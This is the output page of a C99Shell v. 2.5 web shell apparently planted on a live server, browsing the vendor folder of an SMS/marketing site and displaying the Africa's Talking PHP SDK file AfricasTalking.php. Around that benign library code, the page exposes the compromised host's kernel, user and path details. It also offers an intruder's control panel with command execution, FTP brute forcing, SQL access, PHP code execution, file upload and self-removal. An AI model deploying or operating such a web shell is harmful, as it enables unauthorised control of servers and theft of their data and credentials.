!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/africastalking/africastalking/src/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AfricasTalking.php (3.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace AfricasTalking\SDK;

use 
GuzzleHttp\Client;

class 
AfricasTalking
{
    const 
BASE_DOMAIN         "africastalking.com";
    const 
BASE_SANDBOX_DOMAIN "sandbox." self::BASE_DOMAIN;
    
    protected 
$username;
    protected 
$apiKey;

    protected 
$client;
    protected 
$contentClient;
    protected 
$voiceClient;
    protected 
$paymentClient;
    protected 
$tokenClient;

    public 
$baseUrl;
    protected 
$contentUrl;
    protected 
$voiceUrl;
    protected 
$paymentUrl;

    public function 
__construct($username$apiKey)
    {
        if(
$username === 'sandbox') {
            
$this->baseDomain self::BASE_SANDBOX_DOMAIN;
        } else {
            
$this->baseDomain self::BASE_DOMAIN;
        }

        
$this->baseUrl "https://api." $this->baseDomain "/version1/";
        
$this->voiceUrl "https://voice." $this->baseDomain "/";
        
$this->paymentsUrl "https://payments." $this->baseDomain "/";
        
$this->contentUrl = ($username === "sandbox") ? ($this->baseUrl) : ("https://content." $this->baseDomain "/version1/");
        
$this->checkoutTokenUrl "https://api." $this->baseDomain "/";

        if (
$username === 'sandbox') {
            
$this->contentUrl $this->baseUrl;
        }

        
$this->username $username;
        
$this->apiKey $apiKey;

        
$this->client = new Client([
            
'base_uri' => $this->baseUrl,
            
'headers' => [
                
'apikey' => $this->apiKey,
                
'Content-Type' => 'application/x-www-form-urlencoded',
                
'Accept' => 'application/json'
            
]
        ]);

        
$this->contentClient = new Client([
            
'base_uri' => $this->contentUrl,
            
'headers' => [
                
'apikey' => $this->apiKey,
                
'Content-Type' => 'application/x-www-form-urlencoded',
                
'Accept' => 'application/json'
            
]
        ]);

        
$this->voiceClient = new Client([
            
'base_uri' => $this->voiceUrl,
            
'headers' => [
                
'apikey' => $this->apiKey,
                
'Content-Type' => 'application/x-www-form-urlencoded',
                
'Accept' => 'application/json'
            
]
        ]);

        
$this->paymentsClient = new Client([
            
'base_uri' => $this->paymentsUrl,
            
'headers' => [
                
'apikey' => $this->apiKey,
                
'Content-Type' => 'application/json',
                
'Accept' => 'application/json'
            
]
        ]);

        
$this->tokenClient = new Client([
            
'base_uri' => $this->checkoutTokenUrl,
            
'headers' => [
                
'apikey' => $this->apiKey,
                
'Content-Type' => 'application/json',
                
'Accept' => 'application/json'
            
]
        ]);
    }

    public function 
sms()
    {
        
$content = new Content($this->contentClient$this->username$this->apiKey);
        
$sms = new SMS($this->client$this->username$this->apiKey$content);
        return 
$sms;
    }

    public function 
content()
    {
        
$content = new Content($this->contentClient$this->username$this->apiKey);
        return 
$content;
    }

    public function 
airtime()
    {
        
$airtime = new Airtime($this->client$this->username$this->apiKey);        
        return 
$airtime;
    }

    public function 
voice()
    {
        
$voice = new Voice($this->voiceClient$this->username$this->apiKey);
        return 
$voice;
    }

    public function 
application()
    {
        
$application = new Application($this->client$this->username$this->apiKey);        
        return 
$application;
    }

    public function 
payments()
    {
        
$payments = new Payments($this->paymentsClient$this->username$this->apiKey);        
        return 
$payments;
    }

    public function 
token()
    {
        
$token = new Token($this->tokenClient$this->username$this->apiKey);
        return 
$token;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--